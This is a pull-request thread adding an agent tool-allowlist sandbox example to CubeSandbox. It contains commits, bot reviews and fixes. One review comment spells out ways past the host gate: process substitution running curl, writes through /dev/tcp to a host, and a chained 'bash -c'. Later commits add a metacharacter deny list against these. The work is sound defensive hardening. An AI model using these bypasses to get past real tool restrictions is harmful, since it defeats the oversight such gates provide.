examples: agent-host tool-policy BYOI template (#645) - #1219
Conversation
Demonstrate host-side tool allowlist gating before MicroVM execution, with allow/deny paths and examples index registration. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…Cloud#645) Wrap official sandbox-code with TOOL_ALLOWLIST_SANDBOX marker and in-image allowlist file so the example has a buildable template path. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
Cover empty command, path-style binaries, case sensitivity, and shlex-style first-token cases without requiring a sandbox. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…oud#645) Add Dockerfile create-from-image flow and host-vs-tap enforcement comparison table citing network-policy README. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…oud#645) Use the bundled frontend because this Dockerfile only needs standard instructions. This prevents Docker Hub resolution from blocking checks while retaining the Tencent base image path. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…d#645) Keep Dockerfile guest allowlist aligned with allowlist.py and provide a single command that proves deny/unit/docker markers without a live sandbox. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…ud#645) Explain the local verification gate and that allowlisted runs need *.cube.app DNS even when the forwarded API health check succeeds. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…loud#645) Reuse e2b-dev-sidecar so allowlisted commands and artifact readback work on the QEMU host forwards without changing system DNS. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
Point to connect-existing-cluster Option D and record the verified host E2E flow beside the guest/DNS path. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…oud#645) Address reviewer feedback by removing AI-style comparison tables and aligning with network-policy: one-line purpose, recommended template path, then env and run. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…loud#645) Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…loud#645) Show argv allow and Cube egress are orthogonal: create with allow_internet_access=False. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…ty (TencentCloud#645) Default allowlist stays tool-only; enable_code_execution opts into python3. Artifacts use SDK files API; docs clarify capability gating vs isolation. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…tCloud#645) Keep path/token checks in one place so the predicate and assert APIs cannot drift. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…encentCloud#645) Keep dedup, is_file, and load_dotenv on the same resolved path for clear intent. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…centCloud#645) Document env_utils/quickstart drift and aiohttp convenience; sync Dockerfile via snippet; rename over-promising test; document verify_local knobs. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
Drop dead seen_paths dedup and redundant mock assertion; document custom allowlist interpreter bypass; ignore local .venv. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…entCloud#645) Empty commands use the same AllowlistDenied shape; static deny checks parse AST so comments cannot false-fail. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…ntCloud#645) Also add the standard license header to env_utils.py for consistency. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…ud#645) Treat malformed quoting as allowlist deny; check success markers on stdout only; place the example next to other agent entries in tutorials. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…encentCloud#645) Address TencentCloud#1062 review: host argv gate is not a standalone example scenario; ship deny/allow demos next to cmd.py and demote the old example directory. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
… denials (TencentCloud#645) Host gate now rejects shell metacharacters and ships a host-only limits demo so readers see what argv policy does not cover. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…#645) Reference propose→gate→MicroVM loop with mid-session deny, /health flat check, airgap curl probe, and commands-only artifacts. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…loud#645) Lock the documented gate contract and non-goals with stdlib unittest; no cluster required. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…encentCloud#645) Keep a short redirect for the old path; link gate, limits, tests, and reference tool loop. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
…ncentCloud#645) Avoid TypeError on old python-dotenv with pathlib paths, and centralize SDK exit_code normalization so call sites cannot drift. Assisted-by: Cursor:Composer Co-authored-by: Cursor <cursoragent@cursor.com>
新一轮 bot:只修较严重项(
|
| 项 | 处理 |
|---|---|
load_dotenv(Path) 在旧 dotenv 上 TypeError |
requirements 钉 python-dotenv>=0.17.0,并 str(path) |
5 处 exit_code 转换易漂移 |
抽出 coerce_exit_code / exit_code_from_exc,各 demo 共用 |
未改:IFS hardening nit、单测 assertNotIn(''''') 建议。
Assisted-by: Cursor:Composer
| # Exact line match against the profile (no substrings). | ||
| if ! grep -qxF -- "$tool" "$PROFILE"; then | ||
| echo "cube-tool: tool not in profile: ${tool}" >&2 | ||
| exit 1 |
There was a problem hiding this comment.
Suggestion: use command -v "$tool" without -- for POSIX portability
The -- terminator after command -v is accepted by bash, dash, and busybox ash, but POSIX command does not require it to be recognized in -v mode. On a strictly POSIX-minimal /bin/sh, -- could be treated as the operand name to look up, causing command -v to always return empty and the wrapper to refuse all tools.
Since $tool is already validated against [A-Za-z0-9._-] in the preceding case statement, there's no injection concern from dropping the -- separator.
| "cat", | ||
| "head", | ||
| "wc", | ||
| "sha256sum", |
There was a problem hiding this comment.
Nit: inconsistent from __future__ import annotations
tool_allowlist.py uses PEP 585 generic syntax (frozenset[str]) without from __future__ import annotations, while tool_agent_loop.py and test_tool_allowlist.py both include the future import. This works on Python 3.9+ (the 3.10+ stated in README covers it), but adding the future import here too would:
- Keep all three modules consistent
- Guard against any accidental runtime annotation evaluation if this module grows in the future
Completely non-blocking — just a consistency polish.
| cube-tool echo build-ok | ||
|
|
||
| cubemastercli tpl create-from-image \ | ||
| --image <registry-or-local>/agent-tool-allowlist-sandbox:latest \ |
There was a problem hiding this comment.
Clarify: nothing listens on port 49983 / /health
The template registration command passes --probe-path /health for port 49983, but the Dockerfile only EXPOSEs the port — nothing inside the image actually serves that port or handles /health requests. If the platform's probe mechanism requires a successful response for template registration to complete, this may fail or timeout.
If the probe is informational / tolerated by the platform, consider noting that briefly so readers aren't confused when it doesn't return a meaningful health payload.
Bot follow-up (
|
| |---------|-------------| | ||
| | [Code Sandbox Quickstart](https://github.com/tencentcloud/CubeSandbox/tree/master/examples/code-sandbox-quickstart) | The most basic usage: create a sandbox, run Python code, execute shell commands, manage network policies, and more — all via the E2B SDK. | | ||
| | [Agent Tool Allowlist Sandbox](https://github.com/tencentcloud/CubeSandbox/tree/master/examples/agent-tool-allowlist-sandbox) | BYOI toolbox image with in-guest `cube-tool` runner + host argv allowlist; stacks airgap/CIDR, pause/resume, and multi-sandbox fan-out (#645). | | ||
| | [Browser Sandbox (Playwright)](https://github.com/tencentcloud/CubeSandbox/tree/master/examples/browser-sandbox) | Run a headless Chromium inside a MicroVM and control it remotely with Playwright via CDP. | |
There was a problem hiding this comment.
Minor: table ordering suggestion
Since "Agent" (A) alphabetically precedes both "Code" (C) and "Browser" (B), consider moving this entry to the top of the table (before "Code Sandbox Quickstart") for consistency. The existing table has a weak first-letter alphabetical convention, and the A-prefixed entry fits best at the start.
| | 示例 | 说明 | | ||
| |------|------| | ||
| | [代码沙箱快速入门](https://github.com/tencentcloud/CubeSandbox/tree/master/examples/code-sandbox-quickstart) | 最基础的用法:创建沙箱、执行 Python 代码、运行 Shell 命令、管理网络策略等,全部通过 E2B SDK 完成。 | | ||
| | [Agent 工具白名单沙箱](https://github.com/tencentcloud/CubeSandbox/tree/master/examples/agent-tool-allowlist-sandbox) | BYOI 工具集镜像(含 guest `cube-tool`)+ 宿主机 argv 白名单;可叠加断网/CIDR、pause/resume、多沙箱扇出(#645)。 | |
There was a problem hiding this comment.
建议:表格排序位置
与英文版一样,由于"Agent"(A)在字母序上排在"代码沙箱"(代)和"浏览器沙箱"(浏)之前,建议将新行移到表格最上方("代码沙箱快速入门"之前),以便与表格的近似字母序惯例保持一致。
| [ "$#" -ge 1 ] || usage | ||
|
|
||
| tool=$1 | ||
| shift |
There was a problem hiding this comment.
Minor: the case pattern already rejects / and \ — the later basename check (around line 48-53) is a defense-in-depth guard
The case pattern on this line already rejects any input containing / or \, making the basename mismatch check at lines 48-53 unreachable for standard path-hijack scenarios. Consider adding a brief comment on lines 47-53 noting that this is defense-in-depth against subtler PATH manipulation (e.g., a wrapper script named echo appearing earlier in PATH than /bin/echo).
最终合入请求(以 tip
|
| 项 | 内容 |
|---|---|
| 目录 | examples/agent-tool-allowlist-sandbox/ 自包含(Dockerfile + guest cube-tool + host 门控 + demos + 单测 + 双语 README) |
| Docs | EN/ZH examples 索引已登记;quickstart 仅保留指针 |
| 边界 | host argv 策略 ≠ guest confinement;tool_agent_loop 是固定提案环,不是 LLM |
对照关闭意见(#1062)
- 不宜薄包装当新 example → tip 镜像内装真实
/usr/local/bin/cube-tool(对照tool-profile.txt再exec),构建期自测 denybash - 真集群证据 → 已在本 PR 评论贴出(模板
tpl-ed31b31edc1c455b9d2db65d/agent-tool-allowlist-v2;verify / guest_runner / allow / checkpoint / egress / fanout / loop 全绿)
#645
硬门槛(可构建模板 + 可跑示例 + README + 索引)与鼓励项(pause/resume、CIDR egress、多沙箱 fan-out)均已覆盖。
请求
请考虑 merge。若还需改命名/目录/证据格式,直接点即可。
Assisted-by: Cursor:Composer
…notes Lead with TencentCloud#645 scenario-template positioning (sibling to network-policy), explicit answer to thin-wrapper close reasons, and resource guidance.
|
@fslongjin 按 #1062 关闭意见重对过一遍(tip 关闭意见 → 现状
#645 门槛可构建模板 + 可跑示例 + README(含资源建议 / 已知限制)+ docs 索引;并覆盖 pause / CIDR egress / 多沙箱扇出。 若你仍认为该方向不适合进 |
| # first-token check cannot be bypassed via ``echo ok; bash -c ...``. | ||
| # Parentheses / redirects are not listed: tools like ``python3 -c 'print(1)'`` | ||
| # need ``()``, and residual redirect risk belongs with guest least-privilege. | ||
| _SHELL_META_CHARS: frozenset[str] = frozenset( |
There was a problem hiding this comment.
_SHELL_META_CHARS omits <, (, >, / — the characters that compose bash-only constructs. Since commands.run() executes the string through a shell (envd POST :49983/process, and the base image's user account defaults to /bin/bash), these slip past the gate while argv0 stays allowlisted:
cat <(curl -s https://example.com)— process substitution actually runscurlinside the guest; argv0 iscat, which is allowlisted.echo x > /dev/tcp/host/80— bash pseudo-device opens a TCP connection and sends data using only allowlistedecho.
The README's residual list covers echo … > file as "guest write" and cat < file as "input redirect", but not these two variants, which execute arbitrary commands / open sockets — exactly what the "host refuses illegal tools" claim is meant to stop. The shipped demos are safe because they run airgapped, but for a template whose whole point is agent tool policy, consider rejecting <( / /dev/tcp (or at minimum documenting them in the residuals list).
| else: | ||
| raise SystemExit(f"expected deny for {name}, but gate accepted") | ||
|
|
||
| after_deny = health_sandbox_count() |
There was a problem hiding this comment.
This "sandbox count unchanged through early denies" assertion is vacuous: CubeAPI/src/handlers/health.rs currently returns sandboxes: 0 unconditionally, so after_deny != baseline can never fire no matter what the gate does. The docstring lists "/health sandboxes count must stay flat" as a hardening property, but against the current CubeAPI it proves nothing. Fine to keep as a smoke check (and it'll become meaningful if CubeAPI ever reports real counts), but the claim is stronger than the check.
|
|
||
| ARG DEBIAN_FRONTEND=noninteractive | ||
| # Optional: docker build --build-arg INSTALL_CURL=1 … (only for egress demos) | ||
| ARG INSTALL_CURL=0 |
There was a problem hiding this comment.
Minor accuracy nit: the base image ghcr.io/tencentcloud/cubesandbox-base:2026.16 is built from docker/Dockerfile.cube-base, which installs curl (apt-get install ... curl ...). So the "Skip apt unless INSTALL_CURL=1" comment here, the README's "Default build does not apt-install curl", and the "curl not in image → skip airgap probe" branches in tool_agent_loop.py / tool_allowlist_egress.py are effectively dead — curl is always present. Not a functional problem (the demos handle both cases), just reconcile the docs with reality.
| ## Resources | ||
|
|
||
| | Item | Suggestion | | ||
| |------|------------| |
There was a problem hiding this comment.
Two nits here: (1) the demos actually write to /tmp (/tmp/agent_loop.txt, /tmp/allowlist_checkpoint.txt, /tmp/tool_out.txt), not /workspace, so the "demos write under /workspace" hint is inaccurate. (2) If a user follows this and does write to /workspace, it will fail: the base image's default command user is user (uid 1000, see docker/Dockerfile.cube-base), while COPY workspace/ /workspace/ creates a root-owned 0755 directory. Either chown/chmod /workspace in the Dockerfile or fix the doc.
…centCloud#645) Deny process substitution and /dev/tcp|/dev/udp; chown /workspace; reconcile curl/health/docs with cubesandboxbot review.
Bot follow-up (
|
| Finding | Action |
|---|---|
Process substitution / /dev/tcp keep argv0 allowlisted |
Deny <( >( /dev/tcp/ /dev/udp/ in host gate + tests + limits demo |
Resources said demos write /workspace (actually /tmp); /workspace root-owned |
Doc → /tmp; Dockerfile chown 1000:1000 /workspace |
| curl “not installed” narrative vs base image | Docs/comments: base already has curl; INSTALL_CURL=1 defensive only |
/health sandboxes claim too strong |
Softened to forward-compatible smoke (API currently returns 0) |
Host unittest: 14 OK; LIMITS_DEMO_OK.
| fi | ||
|
|
||
| # Refuse path hijacks if command -v returned something unexpected. | ||
| base=$(basename "$bin") |
There was a problem hiding this comment.
This base=$(basename "$bin") / [ "$base" != "$tool" ] guard is effectively dead code and cannot detect the hijack its comment describes. After the case pattern above rejects any tool name containing /, \, or a leading ., command -v "$tool" can only return either a bare name (a shell builtin such as echo/pwd) or a path whose basename equals $tool — so $base != $tool never fires. The realistic hijack (a user-writable directory earlier in PATH containing an executable named like an allowlisted tool) keeps basename(...) == "$tool", so this check passes straight through it.
Since in-VM code execution already makes PATH hijacking moot, this isn't a security hole — but the comment overstates what the check does. Consider either removing the check and comment, or making it meaningful (e.g. verifying the resolved path is under a trusted directory like /usr/bin//bin, or invoking with a fixed PATH).
|
|
||
| after_deny = health_sandbox_count() | ||
| print(f"\nhealth.sandboxes (after early denies): {after_deny}") | ||
| if after_deny != baseline: |
There was a problem hiding this comment.
This after_deny != baseline equality check can only false-fail on a shared cluster: if any other sandbox is created or destroyed between the two /health polls (e.g. a leftover sandbox from a previous demo run is reaped), the demo aborts with "sandbox count changed during denies" even though the gate behaved correctly. And as the comment below notes, CubeAPI currently returns sandboxes=0 unconditionally, so in the common case the check verifies nothing — it only ever risks a spurious failure. Consider relaxing it to after_deny > baseline (fail only if the count grew during the deny phase) or downgrading it to a printed warning.
| extra_binaries: Iterable[str] | None = None, | ||
| allow_unsafe_allowlist_extension: bool = False, | ||
| ) -> bool: | ||
| """True if the command string is acceptable under the host gate.""" |
There was a problem hiding this comment.
is_allowlisted() is documented and annotated as a boolean predicate, but it raises ValueError (instead of returning False) when extra_binaries is passed without allow_unsafe_allowlist_extension=True — the raise happens inside _resolve_allowed, before the membership check. This is a deliberate fail-loud design (locked in by test_extra_binaries_require_unsafe_flag and exercised by tool_allowlist_limits.py), but it means callers who treat is_allowlisted as a pure bool guard will be surprised by an exception rather than a False. Worth a sentence in the docstring so "not allowlisted" and "misconfigured call" are distinguishable to readers.
…tCloud#645) Add toolbox-hello workload, single entry run.py, and nginx/pi-style README (build → register → configure → run). Move advanced demos under extras/.
Reshape toward open-box template (happy path)Addressing the
Tip: |
|
|
||
| ```bash | ||
| cd .. | ||
| python -m extras.tool_allowlist_limits # or: |
There was a problem hiding this comment.
This documented command is broken. python -m extras.tool_allowlist_limits from the example root puts only the example root on sys.path, but the extras scripts do an absolute import _path (extras/_path.py). Since _path is not a top-level module there, this raises ModuleNotFoundError: No module named '_path' — import _path searches sys.path, not the extras package path.
The script-direct form works because sys.path[0] becomes the script's own directory (extras/), and _path.py then inserts the example root for the tool_allowlist import. Suggest dropping the -m variant here (keep python extras/tool_allowlist_limits.py), or making the sys.path shim tolerant of both invocation styles (e.g. try: import _path; except ModuleNotFoundError: ...).
| # Copyright (c) 2024 Tencent Inc. | ||
| # SPDX-License-Identifier: Apache-2.0 | ||
|
|
||
| """Backward-compatible entry: prefer ``python run.py`` (happy path).""" |
There was a problem hiding this comment.
Naming/marker mismatch: this root-level verify_template.py is an alias of run.py and prints RUN_OK, while extras/verify_template.py is a different script that prints TEMPLATE_VERIFY_OK. The PR description's test plan says python verify_template.py → TEMPLATE_VERIFY_OK, which only holds for the extras/ copy — a reader at the example root sees RUN_OK. Likewise extras/README.md lists verify_template.py → TEMPLATE_VERIFY_OK while this README calls it "a thin alias of the same path". Consider renaming one of the two files (e.g. extras/verify_template.py → extras/verify_extras_template.py), or aligning the PR description / docs with the actual output of each.
Summary
#645 scenario template (tip updated): agent-host tool argv policy + BYOI image with real guest runner — same shelf as
network-policy(egress), not another language runtime.examples/agent-tool-allowlist-sandbox/: Dockerfile +/usr/local/bin/cube-tool+ host gate + deny/allow/limits/guest_runner/checkpoint/egress/fanout + unit tests + cluster smokeAddresses #1062 close notes
cube-toolre-check oftool-profile.txt+verify_template.py; product is host+guest tool policy, not a secondsandbox-codetutorialtpl-ed31b31edc1c455b9d2db65d/ demos green); host unittest 13 OKHonest limits: host policy ≠ guest confinement;
tool_agent_loop.pyis fixed proposals, not an LLM.Test plan
python -m unittest test_tool_allowlist.py -vpython tool_allowlist_limits.py→LIMITS_DEMO_OKpython tool_allowlist_deny.pypython verify_template.py→TEMPLATE_VERIFY_OK